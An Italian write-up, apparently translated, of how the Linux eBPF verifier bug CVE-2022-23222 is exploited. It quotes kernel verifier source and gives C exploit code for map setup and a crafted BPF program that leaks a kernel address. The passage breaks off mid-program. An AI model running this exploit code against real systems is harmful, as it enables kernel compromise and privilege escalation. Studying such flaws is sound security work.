
CVE-2022-23222, gestito con Rust.
Clicca qui se vuoi solo compilare ed eseguire il dannato coso. Quello che segue è più o meno una traduzione del writeup cinese, disponibile qui.
Useremo il codice del kernel mainline per la versione 5.13.0 come riferimento.
C'è una discrepanza tra i tipi di puntatore disponibili e la funzione che controlla i loro limiti.
Questa discrepanza è stata introdotta per la prima volta in Linux 5.8 ed è stata successivamente corretta.
L'elenco dei tipi di puntatore disponibili è
disponibile qui.```c
/* types of values stored in eBPF registers /
/ Pointer types represent:
Come puoi vedere, ci sono una serie di tipi di puntatore `_OR_NULL` che vengono usati quando un puntatore potrebbe essere... nullo. Il verifier generalmente ti permetterà di effettuare un controllo di nullità solo in questo punto, o come argomento in alcune funzioni. La funzione seguente, disponibile [qui](https://elixir.bootlin.com/linux/v5.13/source/kernel/bpf/verifier.c#L6720), è responsabile del monitoraggio e del controllo dei limiti dei puntatori.```c
/* Handles arithmetic on a pointer and a scalar: computes new min/max and var_off.
* Caller should also handle BPF_MOV case separately.
* If we return -EACCES, caller may want to try again treating pointer as a
* scalar. So we only emit a diagnostic if !env->allow_ptr_leaks.
*/
static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
const struct bpf_reg_state *ptr_reg,
const struct bpf_reg_state *off_reg)
{
// ... omitted ...
switch (ptr_reg->type) {
case PTR_TO_MAP_VALUE_OR_NULL:
verbose(env, "R%d pointer arithmetic on %s prohibited, null-check it first\n",
dst, reg_type_str[ptr_reg->type]);
return -EACCES;
case CONST_PTR_TO_MAP:
/* smin_val represents the known value */
if (known && smin_val == 0 && opcode == BPF_ADD)
break;
fallthrough;
case PTR_TO_PACKET_END:
case PTR_TO_SOCKET:
case PTR_TO_SOCKET_OR_NULL:
case PTR_TO_SOCK_COMMON:
case PTR_TO_SOCK_COMMON_OR_NULL:
case PTR_TO_TCP_SOCK:
case PTR_TO_TCP_SOCK_OR_NULL:
case PTR_TO_XDP_SOCK:
verbose(env, "R%d pointer arithmetic on %s prohibited\n",
dst, reg_type_str[ptr_reg->type]);
return -EACCES;
default:
break;
}
// ... omitted ...
return 0;
}
Sfortunatamente, questo elenco manca di alcuni tipi. Nello specifico,
PTR_TO_BTF_ID, PTR_TO_BTF_ID_OR_NULL, PTR_TO_MEM,
PTR_TO_MEM_OR_NULL, PTR_TO_RDONLY_BUF, PTR_TO_RDONLY_BUF_OR_NULL,
PTR_TO_RDWR_BUF e PTR_TO_RDWR_BUF_OR_NULL. Utilizzando il tipo di mappa RINGBUF,
possiamo creare un PTR_TO_MEM_OR_NULL che ci consentirà di eseguire
operazioni aritmetiche quando non dovremmo.
Innanzitutto, creiamo due mappe. La mappa ARRAY verrà utilizzata per passare informazioni
tra lo spazio utente e il programma BPF. La mappa RINGBUF verrà utilizzata per dare
a un registro il tipo di puntatore sfruttabile.```c
int create_bpf_maps(context_t *ctx)
{
int ret = 0;
ret = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(u32), PAGE_SIZE, 1);
if (ret < 0) {
WARNF("Failed to create comm map: %d (%s)", ret, strerror(-ret));
return ret;
}
ctx->comm_fd = ret;
if ((ret = bpf_create_map(BPF_MAP_TYPE_RINGBUF, 0, 0, PAGE_SIZE)) < 0) {
WARNF("Could not create ringbuf map: %d (%s)", ret, strerror(-ret));
return ret;
}
ctx->ringbuf_fd = ret;
return 0;
}
Ora, carichiamo ed eseguiamo un programma BPF appositamente progettato che prima,
salverà l'indirizzo nello spazio del kernel della mappa `ARRAY` nello stack BPF,
e poi sfrutterà la svista sui puntatori di prima per azzerare l'ultimo byte di
quell'indirizzo. Il verificatore penserà che stiamo leggendo dall'inizio
dell'array, ma in realtà stiamo leggendo qualche byte più in basso, che (si spera)
dovrebbe darci un indirizzo del kernel.```c
int do_leak(context_t *ctx)
{
int ret = -1;
struct bpf_insn insn[] = {
// r9 = r1
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),
// r0 = bpf_lookup_elem(ctx->comm_fd, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
// if (r0 == NULL) exit(1)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
BPF_MOV64_IMM(BPF_REG_0, 1),
BPF_EXIT_INSN(),
// r8 = r0
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),
BPF_MOV64_IMM(BPF_REG_3, 0x00),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),
// this is where the verifier loses track of r1
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),
// if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_MOV64_IMM(BPF_REG_2, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
BPF_MOV64_IMM(BPF_REG_0, 2),
BPF_EXIT_INSN(),
// verifier believe r0 = 0 and r1 = 0. However, r0 = 0 and r1 = 1 on runtime.
// r7 = r1 + 8
BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 8),
// verifier believe r7 = 8, but r7 = 9 actually.